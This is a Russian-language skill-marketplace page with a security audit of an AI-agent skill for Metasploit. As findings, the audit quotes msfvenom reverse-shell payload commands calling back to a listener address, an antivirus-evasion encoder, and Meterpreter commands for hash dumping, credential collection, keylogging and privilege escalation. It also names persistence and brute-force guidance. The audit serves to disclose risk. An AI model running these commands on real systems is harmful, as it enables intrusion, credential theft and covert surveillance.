Навыки metasploit-framework
📦
metasploit-framework
Ревизия содержимого r2 Критично ⚙️ Внешние команды🌐 Доступ к сети📁 Доступ к файловой системе
Безопасно оценивайте рабочие процессы Metasploit
Командам безопасности нужны понятные рекомендации по рабочим процессам Metasploit для авторизованных оценок. Этот навык структурирует настройку, выбор модулей, работу с payload, сеансы и контрольные точки отчетности.
Поддерживает: Claude Codex Code(CC)
Не устанавливайте этот Skill автоматически.
Каноническая политика требует проверки оператором перед любым действием по установке.
Установить с помощью моего Агента
Скопируйте этот запрос в своего Агента. Он содержит каноническую страницу Skill и манифест.
Запрос агента
Review the Skillstore skill "metasploit-framework" from https://skillstore.io/skills/sickn33-metasploit-framework.md and its manifest at https://skillstore.io/api/skills/sickn33-metasploit-framework/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.Ваш Агент по-прежнему должен показать план и запросить все подтверждения, требуемые политикой безопасности.
Ресурсы для AI-агентов
Используйте эти ссылки, когда AI-агенту, crawler или script нужен чистый контекст вместо полной страницы.
Протестировать
Использование «metasploit-framework». Спланируйте обзор лаборатории Metasploit для начинающих с одной утвержденной виртуальной машиной.
Ожидаемый результат:
- Чек-лист предварительных требований с авторизацией, идентификацией цели, готовностью инструментов и хранением доказательств.
- Высокоуровневый рабочий процесс, охватывающий исследование модулей, проверку опций, валидацию и cleanup.
- Примечания по безопасности, удерживающие активность внутри изолированной лаборатории.
Использование «metasploit-framework». Проверьте, находится ли предлагаемый постэксплуатационный шаг в scope.
Ожидаемый результат:
- Сводка решения по scope.
- Чувствительные действия, требующие явного одобрения, включая доступ к учетным данным или снимки экрана.
- Рекомендуемые более безопасные альтернативы для сбора доказательств.
Использование «metasploit-framework». Суммируйте deliverables после авторизованного упражнения по валидации.
Ожидаемый результат:
- Сводка доказательств без секретных материалов.
- Затронутая уязвимость и примечания о влиянии на бизнес.
- Подтверждение cleanup и рекомендуемые владельцы remediation.
Аудит безопасности
Критичноv5 • 04.08.2026 Открыть версионный отчет
Markdown formatting and private example addresses caused many false positives, but the skill contains extensive actionable offensive guidance. Confirmed risks include exploitation, payload generation, keylogging, credential access, persistence, defense evasion, file transfer, network scanning, and privileged setup.
1
Просканировано файлов
497
Проанализировано строк
3
Пункты проверки
0
Ложные срабатывания проигнорированы
Подтверждённые проблемы безопасности (60)
Критично
Keylogger keywords
# Screenshots and Keylogging
The skill explicitly documents starting and operating Meterpreter keylogging. Capturing user keystrokes can steal credentials and other sensitive information.
Критично
Keylogger keywords
| `keyscan_start` | Start keylogger |
The skill explicitly documents starting and operating Meterpreter keylogging. Capturing user keystrokes can steal credentials and other sensitive information.
Критично
Metasploit framework
Leverage the Metasploit Framework for comprehensive penetration testing, from initial exploitation t
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Критично
Metasploit framework
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Критично
Metasploit framework
msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Критично
Metasploit framework
windows/meterpreter/reverse_tcp
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Критично
Metasploit framework
linux/x86/meterpreter/bind_tcp
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Критично
Metasploit framework
windows/x64/meterpreter/reverse_tcp
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Показать все подтверждённые находки (60)
Критично
Metasploit framework
php/meterpreter/reverse_tcp
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Критично
Metasploit framework
java/meterpreter/reverse_https
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Критично
Metasploit framework
android/meterpreter/reverse_tcp
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Критично
Metasploit framework
### Phase 6: Meterpreter Session
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Критично
Metasploit framework
Work with Meterpreter post-exploitation:
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Критично
Metasploit framework
# After successful exploitation, you get Meterpreter prompt
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Критично
Metasploit framework
meterpreter > sysinfo
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Критично
Metasploit framework
meterpreter > getuid
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Критично
Metasploit framework
meterpreter > getpid
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Критично
Metasploit framework
meterpreter > pwd
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Критично
Metasploit framework
meterpreter > ls
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Критично
Metasploit framework
meterpreter > cd C:\\Users
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Критично
Metasploit framework
meterpreter > download file.txt /tmp/
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Критично
Metasploit framework
meterpreter > upload /tmp/tool.exe C:\\
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Критично
Metasploit framework
meterpreter > ps
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Критично
Metasploit framework
meterpreter > migrate [PID]
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Критично
Metasploit framework
meterpreter > kill [PID]
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Критично
Metasploit framework
meterpreter > ipconfig
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Критично
Metasploit framework
meterpreter > netstat
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Критично
Metasploit framework
meterpreter > route
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Критично
Metasploit framework
meterpreter > portfwd add -l 8080 -p 80 -r 10.0.0.1
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Критично
Metasploit framework
meterpreter > getsystem
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Критично
Metasploit framework
meterpreter > getprivs
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Критично
Metasploit framework
meterpreter > hashdump
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Критично
Metasploit framework
meterpreter > run post/windows/gather/credentials/credential_collector
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Критично
Metasploit framework
meterpreter > screenshot
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Критично
Metasploit framework
meterpreter > keyscan_start
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Критично
Metasploit framework
meterpreter > keyscan_dump
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Критично
Metasploit framework
meterpreter > keyscan_stop
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Критично
Metasploit framework
meterpreter > shell
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Критично
Metasploit framework
meterpreter > background
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Критично
Metasploit framework
meterpreter > run post/windows/gather/hashdump
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Критично
Metasploit framework
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exe
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Критично
Metasploit framework
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o shell.elf
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Критично
Metasploit framework
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.php
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Критично
Metasploit framework
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.py
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Критично
Metasploit framework
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f psh -o shell.ps1
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Критично
Metasploit framework
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f asp -o shell.asp
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Критично
Metasploit framework
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f war -o shell.war
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Критично
Metasploit framework
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -o shell.apk
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Критично
Metasploit framework
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -i 5
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Критично
Metasploit framework
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Критично
Metasploit framework
[*] Meterpreter session 1 opened
This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.
Критично
Post-Compromise Persistence Guidance
The skill recommends Windows executable persistence and Linux SSH-key persistence modules. These actions maintain unauthorized access after initial compromise.
The section is explicitly labeled persistence and names two operational persistence modules. The intent and capability are direct.
Критично
Security Control Evasion Guidance
The skill recommends evasion modules, encoded payloads, and avoiding monitoring detection. This guidance helps payloads bypass defensive controls.
The source explicitly says to bypass security controls, evade antivirus, and avoid detection. It also supplies encoder and evasion-module directions.
Высокий
Screen capture upload
| `screenshot` | Capture screen |
The command reference explicitly directs Meterpreter to capture the compromised system screen. This can collect sensitive user and application data.
Высокий
Network scanning tools
| `db_nmap` | Run nmap with database |
The reference explicitly recommends `db_nmap`, which performs active network scanning and stores results in the Metasploit database.
Высокий
Credential Brute Force Workflow
The skill configures SSH login attempts with username and password wordlists. This enables automated credential attacks beyond defensive vulnerability review.
The named SSH login module and both credential wordlists clearly establish brute-force intent. The workflow ends with an instruction to run the attack.
Низкий
System reconnaissance
meterpreter > getuid
The command queries user or process identity on a compromised host. This is genuine post-exploitation system reconnaissance.
Низкий
System reconnaissance
meterpreter > getpid
The command queries user or process identity on a compromised host. This is genuine post-exploitation system reconnaissance.
Низкий
System reconnaissance
C:\Windows\system32> whoami
The command queries user or process identity on a compromised host. This is genuine post-exploitation system reconnaissance.
Низкий
Network reconnaissance
meterpreter > netstat
The Meterpreter `netstat` command enumerates network connections on a compromised host. This is genuine post-exploitation network reconnaissance.
Пункты проверки возможностей (3)
Это реальные локальные возможности, которые могут ожидаться для этого навыка, поэтому они требуют проверки, но не считаются подтверждённым вредоносным поведением.
Высокий
sudo privilege escalation
| Database not connected | Run `sudo msfdb init`, start PostgreSQL, then `db_connect` |
The troubleshooting table explicitly instructs users to run `sudo msfdb init`. This requests privileged host changes and contradicts the earlier claim that privileged setup is unnecessary.
Высокий
Temp directory access
meterpreter > download file.txt /tmp/
This is an actionable Meterpreter file-transfer command that downloads target data or uploads a tool through `/tmp`. It enables post-compromise extraction or deployment.
Высокий
Temp directory access
meterpreter > upload /tmp/tool.exe C:\\
This is an actionable Meterpreter file-transfer command that downloads target data or uploads a tool through `/tmp`. It enables post-compromise extraction or deployment.
Факторы риска
⚙️ Внешние команды (50)
SKILL.md:33-37 SKILL.md:37-41 SKILL.md:41 SKILL.md:69-86 SKILL.md:86-92 SKILL.md:92-118 SKILL.md:118-124 SKILL.md:124-145 SKILL.md:145-151 SKILL.md:151-184 SKILL.md:184-190 SKILL.md:190-210 SKILL.md:210-216 SKILL.md:216-267 SKILL.md:267-273 SKILL.md:273-306 SKILL.md:306-312 SKILL.md:312-347 SKILL.md:347-353 SKILL.md:353-386 SKILL.md:386-392 SKILL.md:392-408 SKILL.md:408-416 SKILL.md:416-417 SKILL.md:417-418 SKILL.md:418-419 SKILL.md:419-420 SKILL.md:420-421 SKILL.md:421-422 SKILL.md:422 SKILL.md:423-424 SKILL.md:424-425 SKILL.md:425-426 SKILL.md:426-427 SKILL.md:427-428 SKILL.md:428-434 SKILL.md:434-435 SKILL.md:435-436 SKILL.md:436-437 SKILL.md:437-438 SKILL.md:438-439 SKILL.md:439-440 SKILL.md:440-441 SKILL.md:441-442 SKILL.md:442-443 SKILL.md:443-444 SKILL.md:444-448 SKILL.md:448-464 SKILL.md:464-490 SKILL.md:490
🌐 Доступ к сети (19)
📁 Доступ к файловой системе (2)
Обнаруженные паттерны
Keylogger keywords×2Screen capture uploadMetasploit framework×49System reconnaissance×3Network reconnaissanceNetwork scanning tools
Аудитор:: codex Посмотреть историю аудитов →
Поделиться и цитировать этот отчет
Делитесь версионным отчетом об оценке, нейтральным значком, встраиваемой карточкой и цитатами. Skillstore публикует доказательства, не решая, безопасен ли этот Skill.
Копировать ссылку на отчёт
https://skillstore.io/skills/sickn33-metasploit-framework/audits/5?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportЗначок Markdown
[](https://skillstore.io/skills/sickn33-metasploit-framework?utm_source=security_passport_badge)Значок HTML
<a href="https://skillstore.io/skills/sickn33-metasploit-framework?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/sickn33-metasploit-framework/security.svg" alt="Skillstore security assessment" loading="lazy"></a>Встраиваемая карточка
<iframe src="https://skillstore.io/embed/skills/sickn33-metasploit-framework.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>Академические ссылки (APA · BibTeX · CFF)
Цитата APA
zebbern. (2026). metasploit-framework security audit report (audit version 5) [Author version unspecified]. Skillstore. https://skillstore.io/skills/sickn33-metasploit-framework/audits/5Цитата BibTeX
@techreport{zebbern-sickn33-metasploit-framework-2026,
author = {zebbern},
title = {metasploit-framework security audit report (audit version 5)},
institution = {Skillstore},
year = {2026},
number = {5},
url = {https://skillstore.io/skills/sickn33-metasploit-framework/audits/5},
note = {Author version unspecified}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "metasploit-framework security audit report (audit version 5)"
version: "unspecified"
type: report
authors:
- name: "zebbern"
date-released: "2026-08-04"
url: "https://skillstore.io/skills/sickn33-metasploit-framework/audits/5"
identifiers:
- type: other
value: "skillstore:sickn33-metasploit-framework:audit:5"
description: "Skillstore immutable audit report identifier"
Оценка Skillstore
Почему такая оценка Достоверность доказательств: Средний 55
Архитектура
85
Сопровождаемость
87
Контент
69
Сообщество
83
Соответствие спецификации
Что вы можете построить
Подготовка лабораторных оценок
Используйте справочник, чтобы понять фазы Metasploit перед практикой в изолированной лаборатории.
Планирование авторизованной проверки
Сопоставьте scoped vulnerability с выбором модуля, проверкой опций, сбором доказательств и задачами cleanup.
Проверка границ тестирования
Проверьте, соответствует ли предлагаемая активность Metasploit письменной авторизации, правилам взаимодействия и потребностям отчетности.
Попробуйте эти промпты
Проверить предварительные требования
Для авторизованной лаборатории объясните, какие доступы, инструменты, документация и проверки безопасности нужны перед использованием этого справочника Metasploit.
Выбрать тип модуля
С учетом этой утвержденной цели оценки определите релевантную категорию модулей Metasploit и информацию, необходимую до запуска любой команды.
Спланировать контролируемую проверку
Создайте безопасный план проверки для этой авторизованной цели, включая проверки scope, обзор опций, обработку доказательств и шаги rollback.
Провести аудит scope после эксплуатации
Проверьте эту предлагаемую постэксплуатационную активность на соответствие правилам взаимодействия и отметьте любые риски, связанные с учетными данными, приватностью или persistence.
Лучшие практики
- Требуйте письменную авторизацию и определенный scope перед использованием любого рабочего процесса Metasploit.
- Практикуйтесь только в изолированных лабораториях или утвержденных средах оценки.
- Аккуратно фиксируйте доказательства и удаляйте артефакты тестирования после валидации на основе одобрения.
Избегать
- Запуск exploit- или payload-рекомендаций против сторонних систем без разрешения.
- Сбор учетных данных, снимков экрана или файлов, когда правила взаимодействия этого не разрешают.
- Копирование команд payload в производственные среды без проверки и containment.
Часто задаваемые вопросы
Этот навык запускает Metasploit автоматически?
Нет. Это письменный справочник. Пользователи должны запускать инструменты в собственной утвержденной среде.
Требуется ли авторизация?
Да. Активность Metasploit требует письменной авторизации, определенного scope и четких правил взаимодействия.
Почему этот навык имеет высокий риск?
Он включает рекомендации по exploit, payload, Meterpreter, доступу к учетным данным и evasion.
Может ли он помочь с defensive training?
Да, но только в контролируемых лабораториях или утвержденных упражнениях по валидации с аккуратной обработкой доказательств.
Проверяет ли он безопасность exploit?
Нет. Операторы должны проверить scope, владельца цели и риск изменений перед любым действием.
Что следует удалить перед широкой публикацией?
Удалите готовые к копированию payload, инструкции по keylogging, credential dumping, persistence и evasion.
Сведения для разработчиков
Автор
zebbernЛицензия
MIT
Ревизия Skillstore
r2
Примечание о версии
Автор не указал версию.
Репозиторий
https://github.com/sickn33/antigravity-awesome-skills/tree/main/skills/metasploit-frameworkСсылка
81e05e636292629114b76cbb3922fbe57672fc02
Актуальность поддержки
11.08.2026
Использование
9 загрузок · 144 просмотров
Структура файлов
📄 SKILL.md